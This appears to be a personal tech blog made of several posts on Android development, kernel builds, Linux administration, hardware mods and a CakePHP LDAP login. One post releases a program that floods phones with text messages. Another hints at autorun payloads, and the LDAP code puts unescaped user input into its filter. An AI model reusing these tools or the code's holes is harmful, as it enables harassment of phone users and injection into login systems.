You will use an xml menu resource to define the ActionBar menu items just like you did for older Android menus; however items have some new options. Most importantly android:showAsAction. This defines whether the menu item is allowed to be shown on the dropdown menu if all the icons don’t fit on the action bar. It also allows you to display just the item’s icon, or display its title. Below is a sample ActionBar menu I use on WiFi Key Recovery.

< ?xml version="1.0" encoding="utf-8"?>
<menu xmlns:android="http://schemas.android.com/apk/res/android">
    <item android:id="@+id/menu_backup"
        android:icon="@drawable/ic_action_save"
        android:title="@string/menu_backup"
        android:showAsAction="always|withText"></item>
 
    <item android:id="@+id/menu_refresh"
        android:title="@string/menu_refresh"
        android:icon="@drawable/ic_action_refresh"
        android:showAsAction="ifRoom"></item>
 
    <item android:id="@+id/menu_about"
        android:title="@string/menu_about"
        android:icon="@drawable/ic_action_about"
        android:showAsAction="ifRoom"></item>
 
    <item android:id="@+id/menu_settings"
        android:icon="@drawable/ic_action_settings"
        android:title="@string/menu_wifi_settings"
        android:showAsAction="ifRoom"></item>
 
</menu>

Bugs

Sometimes the android-support-v4.jar included in ActionBarSherlock may cause problems when using some of the newer API calls. I’ve noticed this when creating notifications with multiple actions. To fix this copy android-support-v13.jar from your Android SDK folder into ActionBarSherlock’s or your project’s libs folder. It will detect both versions of the support library and use the newest one. You should only need to do this last step if this is causing issues as ActionBarSherlock will likely be updated and fix this in a future release.

Get a copy of the build toolchain and Linux kernel for your device

First download a copy of the pre-build toolchain from git.

git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.6

Then locate a copy of a kernel for your device. I used the CyanogenMod kernel for the tuna device which is the code-name for the hardware of the Galaxy Nexus. Alternatively you can get a kernel from the Android source website.

Download the kernel with git:

git clone https://github.com/CyanogenMod/android_kernel_samsung_tuna.git

Build the kernel configuration file

Change into the root directory of the kernel you just downloaded and run the following code:

export ARCH=arm
export SUBARCH=arm
export CROSS_COMPILE=/home/user/git/arm-eabi-4.4.3/bin/arm-eabi-
make DEVICE_defconfig

Replace the CROSS_COMPILE path with the path to where you cloned the toolkit repository and replace DEVICE_defconfig with the configuration name for the device you are using; I used tuna_defconfig. If you are using CyanogenMod then use cyanogenmod_DEVICE_defconfig. This will create a .config file with all the setting to compile the kernel with. You can edit the file with a text editor or run the following if you want to use a terminal GUI.

make menuconfig

Compiling the kernel

Now the kernel is ready to be compiled. To start the compilation process run:

make -j 4

-j 4 tells the compiler how many of your possessor’s cores to use for the compilation process. Since I have a quad core possessor I used 4, but you should change it to match your system. If you are unsure of what to use, use make with no options. This may take some time depending on the speed of your system, it took 20 minutes for me.

Once it is done if there are any kernel modules you want compiled for this kernel run:

make modules

If everything went well and you got no errors then your kernel will be located at arch/arm/boot/zImage

Installing the Kernel

In order to turn the zImage file into a flashable image for an Android device you can use koush’s AnyKernel utility.

Clone the AnyKernel repository and replace kernel/zImage with the one you just created. Also remove everything from the system directory and replace it with any kernel modules you created. NOTE: Some devices may require a modified version of AnyKernel to work. The Galaxy Nexus should use the AnyKernel form the Galaxy Nexus Project. If you are not using any special kernel modules then you can skip line 5. Otherwise the output of “make modules” should tell you where to copy the modules from.

git clone https://github.com/Galaxy-Nexus-Project/AnyKernel.git
cd AnyKernel
cp ../android_kernel_samsung_tuna/arch/arm/boot/zImage kernel/zImage
rm system/lib/modules/*
cp PATH_TO_COMPILED_MODULES system/lib/modules/
zip -r9 newKernel.zip *

The newKernel.zip you just created should now install your new kernel and modules on your device. Note: if your recovery requires zips to be signed then you will need to sign it before it will work.

By default CrunchBang Linux does not have hibernation support enabled in the shutdown menu. The reason for being excluded is likely because not all computers support hibernation. However most modern computers will support it.

To add a hibernation option just download this file and place it in the bin directory of your home folder: “~/bin/” and make it executable with:

chmod +x cb-exit

cb-exit Gist

If you want to test your system to see if it can handle hibernation run the following command. If your system supports it you should be able to successfully enter and exit hibernation:

dbus-send --system --print-reply --dest=\"org.freedesktop.UPower\" /org/freedesktop/UPower org.freedesktop.UPower.Hibernate

A while ago I decided that I needed some more JavaScript/AJAX experience, and what better way to get it than to use it to solve an existing problem.

Every now and then my apartment hosts karaoke nights, we have a lot of songs, enough to fill a 4-inch binder. Searching for songs was a pain. In order to find the song’s ID code to give to the DJ you must search through pages of songs and artists that were in no particular order. I decided to fix this problem with my skill set, so I created DJQueue. DJQueue is a collection of hacked together PHP, JavaScript, and SQL magic.

Since most party attendees have a smartphone, the interface is entirely mobile. Users can choose their own alias, which often is not their real name; especially if they are … not so good. From there on searching and enqueueing songs stored in the database is all AJAX. As guests search the song list and select songs they want they are added the the current queue and the new song appears on a separate interface for the DJ.

All code is open source and freely available on Github!

The application uses libraries including ActionBarSherlock, ZXING for QR code generation, and RootTools for system-level file access. It provides a simple interface to view saved network passwords and can generate QR codes for easy network sharing. The project has been archived as modern Android versions have changed WiFi credential storage mechanisms.

A while ago I wondered how well modern cellphones could handle a flood of text messages. So I created a simple python program to test just that. The program works by sending emails to a SMS Gateway which will forward the message to the phone in the form of a text message.

I tested my program on two devices, my modern HTC Incredible running Android and my aging LG Chocolate dumb-phone. The results where surprising! After starting the program my HTC Incredible froze after receiving the first 20 messages. A battery pull was required to get it to respond. The second it finished booting it froze again! I was only able to make it respond by stopping my program and rebooting the phone. After it boot it froze again while catching up on all the messages that where sent.

My LG Chocolate was another story. While it never froze, it did make the phone almost impossible to use. 10 times a second it would display a notification of the new message. But after about 100 messages it just stopped. My program was still sending them but the phone stopped receiving them. I’m not sure if this was done by the phone itself or something on the carrier’s end.

I am releasing the source of this program in case others find it interesting. I claim no responsibility for any damage done by this program. Use at your own risk on devices you own!

Source Code at GitHub

SMS DOS requires PyQt4 for the GUI, it can be installed from Riverbank Computing.

Have you ever wanted to give a friend access to a wireless network you are on but don’t want to go find the key?

WIFI Key Recovery will find the key on your device and allow you to share it via a message or QR Code.
Additionally WIFI Key Recovery will allow you to backup/restore your current WIFI configuration to your SD card!

If this app does not work on your rooted phone email me I will try to add support.

All application code is open source and available on GitHub!

Because we want to control the logging in of the user ourselves and not leave it to the cake magic we need to override the auth component. To do this copy your auth.php from your CAKE_CORE/controllers/components/ to your APP/controllers/components/ folder. Next open it up and fine the login function. It should be around like 684. Once you find it comment out everything inside the function, but leave the function intact. It should look something like this:

function login($data = null) {
    /*$this->__setDefaults();
    $this->_loggedIn = false;
    if (empty($data)) {$data = $this->data; }
    if ($user = $this->identify($data))
    { $this->Session->write($this->sessionKey, $user);
    $this->_loggedIn = true; }
return $this->_loggedIn;*/ }

Next open up your users controller and find your login function. Assuming you followed the guide or have implemented some basic auth you should have an empty login function.

I have written a LDAP helper that can easily be included as a LIB for Cakephp that will get some user data and validate the login, copy and paste it from below to APP/libs/ldap.php

<?php
class ldap{
 
    private $ldap = null;
    private $ldapServer = 'AD.domain.com';
    private $ldapPort = '389';
    public $suffix = '@domain.com';
    public $baseDN = 'dc=domain,dc=com';
    private $ldapUser = 'LDAPUser';
    private $ldapPassword = 'Pas5w0rd';
 
    public function  __construct() {
        $this->ldap = ldap_connect($this->ldapServer,$this->ldapPort);
 
        //these next two lines are required for windows server 03
        ldap_set_option($this->ldap, LDAP_OPT_REFERRALS, 0);
        ldap_set_option($this->ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
    }
 
    public function auth($user,$pass)
    {
        if (empty($user) or empty($pass))
        {
            return false;
        }
        @$good = ldap_bind($this->ldap,$user.$this->suffix,$pass);
        if( $good === true ){
            return true;
        }else{
            return false;
        }
    }
 
    public function __destruct(){
        ldap_unbind($this->ldap);
    }
 
    public function getInfo($user){
        $username = $user.$this->suffix;;
        $attributes = array('givenName','sn','mail','samaccountname','memberof');
        $filter = "(userPrincipalName=$username)";
 
        ldap_bind($this->ldap,$this->ldapUser.$this->suffix,$this->ldapPassword);
        $result = ldap_search($this->ldap, $this->baseDN, $filter,$attributes);
        $entries = ldap_get_entries($this->ldap, $result);
 
        return $this->formatInfo($entries);
    }
 
    private function formatInfo($array){
        $info = array();
        $info['first_name'] = $array[0]['givenname'][0];
        $info['last_name'] = $array[0]['sn'][0];
        $info['name'] = $info['first_name'] .' '. $info['last_name'];
        $info['email'] = $array[0]['mail'][0];
        $info['user'] = $array[0]['samaccountname'][0];
        $info['groups'] = $this->groups($array[0]['memberof']);
 
        return $info;
    }
 
    private function groups($array)
    {
        $groups = array();
        $tmp = array();
 
        foreach( $array as $entry )
        {
            $tmp = array_merge($tmp,explode(',',$entry));
        }
 
        foreach($tmp as $value) {
            if( substr($value,0,2) == 'CN' ){
                $groups[] = substr($value,3);
            }
        }
 
        return $groups;
    }
}
?>

Edit the variables at the tom of the file to reflect your setup.

Now we are going to make our Users->login function check the POST username and password against LDAP, and then if valid it will preform the login magic that auth used to do.

Fill your login function with this:

function login() {
    App::import('Lib', 'ldap');
    if ($this->Session->read('Auth.User')) {
         $this->redirect(array('controller' => 'allocations', 'action' => 'index'));
    } elseif (!empty($this->data)) {
        $ldap = new ldap;
        if ($ldap->auth($this->Auth->data['User']['user'], $this->Auth->data['User']['password'])) {
 
            $userrow = $this->User->findByUsername($this->data['User']['user']);
            if (!$userrow) {
                $ldap_info = $ldap->getInfo($this->data['User']['user']);
                $this->data['User']['username'] = $this->data['User']['user'];
                $this->data['User']['name'] = $ldap_info['name'];
                $this->data['User']['group_id'] = 3; //sets the default group
                $this->add();
                $userrow = $this->User->findByUsername($this->data['User']['user']);
            }
 
            $user = $userrow['User'];
 
            $this->Auth->Session->write($this->Auth->sessionKey, $user);
            $this->Auth->_loggedIn = true;
 
            $this->Session->setFlash('You are logged in!');
            $this->redirect(array('controller' => 'allocations', 'action' => 'index'));
        } else {
            $this->Session->setFlash(__('Login Failed', true));
        }
    }
}

To quickly summarize, it first checks to see if the user is logged in, if not, and post data is provided it will check the provided credentials with the LDAP Lib. If valid it then attempts to get the user from the users table, if the user does not exist it creates it with information provided from LDAP and defaults set in the function.

I built this to still work with a users table to allow relationships between other models and users. but it can be used without a users table, just remove the if(!$userrow) statement and the line before it.

That should be it! You should now be using LDAP for user credential validation.

A few years ago when the local Circuit City was going out of business I decided to stop by to see if there where any good deals. Unfortunately most of their inventory was at a very low discount (if at all). However they where getting rid of some of their CRM and sales equipment. I picked up a 3M touch-panel LCD monitor for $20 or so, sold “as-is”. When I got home I realized that the LCD panel was only 800x600px, and had a broken back-light. I tried to get the touch panel working but for some reason it was not receiving power and I could not find any drivers for it. Into storage it went.

A few months later I dusted it off and decided to give it another try. I was able to find a way of providing 5v power to the controller board for the touch panel, and after much searching I found the drivers.

The Hardware

Once I got the driver, power to the board, and figured out its serial connection it was surprisingly easy to get working. Below you can see a picture and video of the touch panel wired up and working on a laptop.

The next step was to remove the glass touch panel from the broken LCD. The glass was only held on by some very strong adhesive. After carefully removing it I tested it to make sure everything was still in good working order.

Now is when the fun starts! I picked up a picture frame that used a piece of glass the exact same size of the touch panel from a local arts and crafts store. I also found a old Pentium M laptop I would be modifying to use the touch panel on its screen with the picture frame.

Below you can see the touch panel in the picture-frame, and the laptop I would be using for this project with its screen removed and the touch-panel attached by its side.

I gutted the laptop of unneeded parts, such as the keyboard, mouse, DVD drive, and lots of other plastic bits that would be in the way or covered up. Then I reattached its screen backwards, so that when it folds down it faces up.

I mounted the touch panel’s controller board where the DVD drive once was, and gave it 5v of power from the laptop’s USB ports. Below you can see the picture-frame resting on the laptop but not attached yet, and the wiring for the touch-panel.

Now for the inside wiring!

As you can see I used hot glue to hold the controller board in the optical drive bay. And all the wiring was looking good. I just needed a way to mount the touch-panel/picture frame to the rest of the laptop.

And here was my solution:

I would use these bent metal brackets I picked up at home depot to secure them together.

At this point everything was working great. I should probably mention what those blue wires are that you can see sticking out of it. They lead to the laptop’s power and standby buttons. Those buttons would normally be located right above the keyboard, however with this mod they are no longer assessable, so they will be relocated.

I mounted the power and standby buttons (seen above) on a piece of plastic from the LCD assembly. I placed it over the hole in the laptop where the outside of the DVD drive was.

This concludes the hardware portion of this mod.

The Software

To make the interface more touch friendly I installed RockerDock to make launching application nicer.

Also since there is no longer a keyboard I used the Touch-It Virtual Keyboard to replace key input. I like this keyboard because it can hide easily and not take up any screen real estate when you need it.

If anyone reading this needs the driver for their 3M MT7 touch panel, or If I ever need the link for the driver, here is that too: https://solutions.3m.com/wps/portal/3M/en_US/TouchSystems/TouchScreen/CustomerSupport/TouchScreenDrivers/

In addition to the utilities above, I also Installed XBMC, which acts as a perfect picture displaying software. and with UPNP/DNLA I can control it from my phone, and even wirelessly display photos from my phone on it via my network.

Background

PHPRepo is a PHP CMS for managing Debian package repositories. A while ago I wanted to start my own repository for some of my own packages, so I looked for an easy way to do this. I found none. At the time the only way to run and manage a Debian package repository was through apt at the command line, and since at the time I was learning PHP I decided to write my own software to fill this void. Thus I created PHPRepo. PHPRepo has very minimal requirements and can work alongside an existing repository that is managed with apt.

Installation

Installation is as easy as it gets for a PHP app. There are no databases to configure, as it used the Debian repository files as its database. Simply upload the phprepo files to the root of your web-server and edit the config file with a user name and password you wish to use.

Also, if you want the ability to manage the repository in addition to view it in your web browser then make sure the user on your server that the web-server is running under has read and write permission to the repository files.

Screenshot Tour

My screenshots are for a repository that already has a few packages in it. If you are making a repository from scratch you will not be able to see as much.

Above is the main screen. You can see a tree list structure of all of your repositories, components, and architectures.

Above you can see the list of all repositories on the system.

Clicking on a repository brings you to the repository page; shown above. It will list all of the packages in the repository.

One very nice feature is the ability to search from a web browser.

If you choose to use PHPRepo to manager your repository, the above screen will allow you to add/upload packages to your repository. Simply select the file, distribution, and component. If the distribution or component that you want does not exist you can create it. All details about the package such as name, arch, etc are read from the deb file upon upload. Its like magic!

If you click on a package you will be taken to the screen above. This page lets you view the details of the package. You can also manually downland the deb file, or a Maemo .install file. You can also manage the file by deleting its entry in the repository or by deleting the entry and remove the actual file from the server.

If you choose to delete a file you will see the above screen asking if you are sure.

The above screen is for deleting an entire repository, and all packages associated with it.

Conclusion

As stated before, I made this program over a year ago to fill a void. And I was rather surprised that nothing like this already existed. In any case the program and its source code can be downloaded from its project hosted at Google Code.

PHPRepo at Google Code

Preparing the Debian Image

You will need access to a computer running a Debian based distribution to create the image for you phone. I used Ubuntu 10.04. To create the image you need to install a program called debootstrap. debootstrap will allow you to create a mini Debian install in your image.

After installing debootstrap you will need to create a filesystem image for android to use and for debootstrap to install Debian to. You can use the dd command to create the image. In my example below I made a 800MB image. Once the image is made, you need to format it to a Linux file system.

Once your image is formatted you should mount it and then run debootstrap.

Below are my example commands, you may want/need to change them to fit your environment. Such as the Debian mirror, file size, etc.

sudo -s
apt-get install debootstrap
dd if=/dev/zero of=debian.img seek=838860800 bs=1 count=1
mke2fs -F debian.img
mkdir debian
mount -o loop debian.img debian/
debootstrap --verbose --arch armel --foreign lenny debian http://ftp.us.debian.org/debian
umount debian/
rm -r debian/

Preparing the Debian boot script

Below is my Debian boot script (named bootdebian). I created it off the boot Ubuntu script for the HTC Droid Incredible, but modified it. My script includes the ability to become root if you are not already root, and it will mount your Incredible’s SD card and internal memory inside Debian so that you can easily move files in and out of your chrooted environment. I also fixed some small errors on the other script. If you are not using the HTC Incredible you will want to change lines 38-47 to reflect your phone’s memory mount points.

EDIT 10/18/10

Not everybody’s phone will use /dev/block/mtdblock3 for the /system mount point. Type the mount command to see what the proper mount point is on your device. The one used in this guide is for the HTC Incredible.

if [[ $EUID -ne 0 ]]
then
echo "Becoming ROOT!"
su -c bootdebian
exit 1
fi
 
echo "Mounting system as R/W"
mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
 
echo "Setting some stuff up.."
export bin=/system/bin
export img=/mnt/sdcard/debian.img
export mnt=/data/local/debian
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH
export TERM=linux
export HOME=/root
if [ ! -d $mnt ]
then
mkdir $mnt
fi
 
echo "Mounting the Linux Image"
mknod /dev/block/loop5 b 7 0 #may already exist
losetup /dev/block/loop5 $img
mount -t ext2 -o noatime,nodiratime /dev/block/loop5 $mnt
mount -t devpts devpts $mnt/dev/pts
mount -t proc proc $mnt/proc
mount -t sysfs sysfs $mnt/sys
 
echo "Setting Up Networking"
sysctl -w net.ipv4.ip_forward=1
echo "nameserver 8.8.8.8" > $mnt/etc/resolv.conf
echo "nameserver 8.8.4.4" >> $mnt/etc/resolv.conf
echo "127.0.0.1 localhost" > $mnt/etc/hosts
 
echo "Mounting sdcard and emmc in /mnt"
if [ ! -d $mnt/mnt/emmc ]
then
mkdir $mnt/mnt/emmc
fi
busybox mount --bind /mnt/emmc/ $mnt/mnt/emmc
if [ ! -d $mnt/mnt/sdcard ]
then
mkdir $mnt/mnt/sdcard
fi
busybox mount --bind /mnt/sdcard/ $mnt/mnt/sdcard
 
echo "Entering CHROOT "
echo " "
chroot $mnt /bin/bash
 
echo " "
echo "Shutting down CHROOT"
umount $mnt/mnt/emmc
umount $mnt/mnt/sdcard
sysctl -w net.ipv4.ip_forward=0
umount $mnt/dev/pts
umount $mnt/proc
umount $mnt/sys
umount $mnt
losetup -d /dev/block/loop5
mount -o remount,ro -t yaffs2 /dev/block/mtdblock3 /system

Now move both the above script and the debian.img file you made to your phone’s memory card.

Finishing up the Image

Now we need to finish up the install on your phone. Open the terminal app you plan to use on your phone, I recommend ConnectBot. First we will re-mount the system partition as Read/Write, them move out bootdebian script over, make it executable, then remove it from the SD card. Then we run the bootdebian script and run the second stage of debootstrap.The second stage of debootstrap will take a while, it took me 15 minutes. Let it run. Once debootstrap has finished we will add the official Debian repository into the system, then use apt-get to remove the files left over by debootstrap. Here are the commands:

su
mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
cat /sdcard/bootdebian > /system/xbin/bootdebian
rm /sdcard/bootdebian
chmod 777 /system/xbin/bootdebian
bootdebian
/debootstrap/debootstrap --second-stage
echo 'deb http://ftp.us.debian.org/debian lenny main' > /etc/apt/sources.list
apt-get autoclean
apt-get update
exit

You are done

Now you can run bootdebian anytime from your phone’s terminal to enter a full Debian system. You can apt-get install any Debian package that has been compiled to armel. 🙂

If you want to go further you can install X, and a VNC server. This would allow you to VNC into the Debian system from your phone giving you a full X environment.

Now go enjoy your full Linux distribution on your phone!

Enabling and Disabling the CD-ROM the Right Way

The first way most people disabled this was to delete the ISO. This is not the correct way of doing it. Just deleting the file will still have the phone show an empty CD-ROM drive when plugged in to a computer. There is a nice ON/OFF switch for the CD-ROM that can be changed by anyone (non-rooted users) To enable/disable the CD-ROM feature follow these steps:

1. Dial ##7764726
2. Press Call
3. Enter the password 000000 (6 zeros)
4. Select Feature Settings
5. Select CD-ROM
6. Choose Enable or Disable
7. Press Menu
8. Select Commit Modifications (Don’t worry if it says no settings changed)
9. Press Home

Using Your Own ISO

The ISO file that is mounted needs to be named CDROM.ISO in /system/etc/. So, after deleting the default ISO image (via the good old rm command) you can replace it with any ISO image you want. However this will be difficult with large ISOs and it will be a pain to mount system with R/W access and use the command line every time you want to change the ISO. So I propose this alternate solution, use a symbolic link! I made a symbolic link in /system/etc/CDROM.ISO that points to a CDROM.ISO on my internal memory card. To do this run this command as root:

rm /system/etc/CDROM.ISO  #if you have not yet deleted the CD-ROM image
ln /emmc/CDROM.ISO /system/etc/CDROM.ISO

Replace /emmc/ with /sdcard/ if you want to use your SD card and not the phone’s internal memory.

Finishing Up

Now place a ISO file on either your SD card or internal memory and it should be mounted as a CD-ROM drive. I’ll let you be creative with what you could put in there (cough auto-run scripts cough). Unfortunately I cannot seem to get computers to boot off the ISO using this method. I’m guessing that it is because when the Incredible mounts the ISO it strips the boot flag. Also, since this hack will make the Incredible always access either your internal memory or your SD card, when selecting mount over USB the drive holding the ISO will be busy or in use by the system and sometimes will not mount on the computer. This can be fixed by force unmounting the drive (in your phone’s settings menu) or by temporarily disabling the CD-ROM feature (see above).

To my knowledge this hack only applies to the HTC Incredible with the official 2.2 build or ROMs built off of the official 2.2 build. Please let me know in the comments if this works on any other phones.

I wanted a HTPC that I could use to play anything, and that could do anything. And since it was going to be hooked up to a big TV, it might as well be powerful enough to play some modern games on the big screen. I chose to use a relatively new computer (Core 2 Duo 2Ghz, Nvidia GeForce GT 220) and run Windows 7. My previous HTPC ran Linux, but with a powerful enough computer, the ability to play games on the HTPC made me move to Windows.

The Three HTPC pieces

I find that XBMC, Hulu Desktop, and Boxee are all essential parts of a well rounded Home Theater PC (HTPC). XBMC Is great for managing and playing back all of your local media. Hulu Desktop is the complete solution to play anything from Hulu on the big screen. And Boxee does a great job of playing back other online media, such as The Daily Show, Pandora, etc. However these three media center programs do not play nice together. There are some small hacks that can make maybe two get along, but not a complete solution.

The Glue

To control all three programs I use EventGhost. EventGhost is a Windows automation tool which can preform a set of actions based on some user input, Usually a key-press, remote control, or other such device. I was lucky enough to have a HP remote control and USB IR sensor from a laptop I had. pictured below:

Windows 7 automatically recognized the driver for the remote and with the MCE Remote plugin I was able to have EventGhost use it as an input device. I set EventGhost to capture all of the remote’s input and unregister it as a HID device. This stops windows from acting on the remote and gives EventGhost complete control over it.

Next I started creating my EventGhost profile. I chose a button to launch each of the HTPC apps previously mentioned. When pressed, the action for the button would kill any/all running HTPC apps and then start the app that I assigned to the button. This allows me to start any of the apps from the remote and switch between them easily. I also assigned a fourth button that would just kill them all, bringing me to the windows desktop. I assigned the D-PAD and OK buttons to the arrow keys and enter key. That takes care of most of the universal buttons that should apply across all of the programs. Now I went of to the program specific stuff. Hulu Desktop does not need much else or accept any other keyboard shortcuts, but Boxee and XBMC share a few. The next buttons I mapped to the remote are [Backspace], I, [Space], P, X, [Period], [Comma], F, R, H, [Tab], and M. Refer to the Program’s site to see what each one does. I also added a few extra actions for raising and lowering the volume, ejecting the drive tray, and powering off the computer.

I also made a toggle button that would change the D-Pad and OK button from arrow keys and enter to mouse movement and left click. You can download my EventGhost config file at the end of this article. Below is what my configured EventGhost looks like:

By now the HTPC setup should be working. You should be able to control and switch between Boxee, XBMC, and Hulu desktop all from your remote. Just remember to make EventGhost start when windows does, this can be easily done by placing a shortcut to EventGhost in your User’s startup folder.

An Extra Surprise

After using this method for a while, I discovered that the MCE remote would detect my TV’s remote control (Pictured below). I could tell because the USB sensor would light up red (showing that it received a signal) when I pressed a button on the TV remote. And low and behold, EventGhost could detect the signal too!

This Toshiba remote is also programmable, meaning that it has the ability to also control your VCR, DVD player, etc. I went through all of the preset codes it can use (by entering them all manually and testing them) and found the one that the USB IR sensor would detect the most buttons on. For most, only a few worked, and some none did. Oddly enough the code “000” had almost all the buttons working. So I went through all the actions in EventGhost and reassigned them to a button on my TV’s remote. This allows me to control both my TV and HTPC from the same remote. All I need to do is switch the Mode/Device at the bottom of the remote to change which device I am controlling.

Installing the Software

We will need two packages installed to join the Active Directory (AD) domain and use it for user authentication, authconfig and samba-common. authconfig should be installed by default but with a minimal install you will need to install samba. Install them with the following command:

yum install samba-common authconfig

Setting up Authconfig

Start authconfig by running authconfig-tui, if you have a graphical desktop such as gnome installed you can launch it from System->Administration->Authentication but this guide will cover the text/cli version. But the same steps apply to both methods.

1. Under user information select “Use Windbind”

2. Under authentication select “Use MD5 Passwords”, “Use Shadow Passwords”, “Use Windbind Authentication”, and “Local authorization is Sufficient”.

3. Your screen should look like this:

   

4. Click Next

5. Change the “Security Model” to “domain”

6. Under “Domain” enter your active directory domain.

7. Enter the FQDN (fully-qualified domain name) of your domain servers, if you have more than one you can separate them with a comma.

8. The ADS realm is the full domain, it must be in call caps.

9. To allow users to login change the template shell to /bin/bash, or whatever shell you prefer.

10. The screen should now look like this, but with your correct information:

    

11. Select OK.

Setting Up Samba

Now you need to edit /etc/samba/smb.conf. You will see many of the settings you just entered in this file, however we still need to manually change one value that authconfig does not do for us. Look for “windbind use default domain” and change it from false to true.

Setting up PAM

PAM controls user logins. and we need to create a home directory for domain users on their first login. All domain users will have a home directory in /home/Domain/user, where Domain is your domain and user is their username. Create the Domain folder inside the /home directory with the mkdir command as root.

Next we need to enable the user’s home directory creation in PAM. Edit /etc/pam.d/system-auth. Scroll to the end of the file and at the end add this:

session optional pam_mkhomedir.so

Save the file and exit. To make these changes take effect we need to restart the windbind service and the oddjobd service. This can usually be done with the service command. I will not cover that here.

Joining the Domain

Now that the system is configured correctly we will actually join the system to the Active Directory domain. run the “authconfig-tui” program again. Click next. And this time on the second screen select “Join Domain”. Enter a domain administrator’s username and password and join the domain. After entering the credentials select OK to save and exit.

You are now done. You should be able to log out (as root) and log in as any domain member. Upon first login your come directory should be created automatically.

Preparing the UPS

Here is the UPS before any modifications:

Only half of the outlets on the device are given power from the UPS system, the rest act as a regular surge strip. The first thing I did was rewire the “surge” outlets to be wired into the UPS power so that all of the outlets would be provided power from the UPS system.

Next I took a car plug adapter I had lying around and connected it to the battery terminals after removing the battery.

Testing

The UPS system was working and outputting ~106 volts AC from a car’s 12 volts outlet. Here you can see it in action with my meter and a wireless router.

This worked great, but the UPS has a buzzer in it which stayed on. The purpose of this buzzer was to notify you that your power is out and that you are on battery power. However it serves us no purpose and is just really annoying. I fixed it by desoldering the buzzer from the main circuit board.

Some Final Modifications

In addition to removing the buzzer, I also wanted to make the device smaller as half of it is empty space due to the lack of a battery.

I started by moving two of the LEDs that are on the batter end over to the power switch. I moved just the Power and Overload LEDs, as the rest served no purpose for an inverter.

I used a pipe saw to cut off the battery compartment, there was already a divider on the inside that would now act as the outside wall on that end.

This UPS works perfectly as a power inverter. I have used it on several road trips just fine, And because it was intended to be a computer UPS, it can power 350 watts, which is much more than your average car inverter.

Preparing The Tablet

The built in GPS software does not allow us do do anything advanced like this. We will be using Minigpsd as a replacement for the built in GPS interface software. Minigpsd allows for many more advanced options for the GPS, and may even assist in getting locks faster. Install Minigpsd from the above link. After the installation is complete open up the settings and click the “Advanced” button. Here you will be able to see and set the ports Minigpsd communicates on. You can either leave them at their defaults or change them however you see fit. Below is a screenshot of my configuration.

Now you need to network the Tablet and your Computer. In my case (On a road trip) I was unable to have an access point around, especially in a moving car. So I used an Ad-Hoc Wireless network. But you can use any method you want, including Bluetooth Pan or over your cellular network. I will not go into how to set this up here.

Preparing The Computer

Assuming that your computer is now networked to your N810 you will need software than can take the GPS data from the N810 over the network and bring it to the computer in a form it can use. The best software that I could find that does this is HW Group’s Virtual Serial Port. This software will take the GPS data and make a virtual serial port. From your computer’s point of view it will think that there is a serial GPS attached to it.

Simply start up the virtual serial port software and create a new virtual serial port. It will need an IP address and port. the IP is the IP of your tablet and the port is the “gps direct” port. In the above example it is 22947. Once the port is created make sure your N810 is on, able to ping it from your computer, and GPSD is running.

Testing It Out

Your computer should now see your N810 as a RAW serial GPS device. To test it out install some GPS aware software. I used Google Earth.

On Google Earth open Tools -> GPS -> Real Time you should see the following: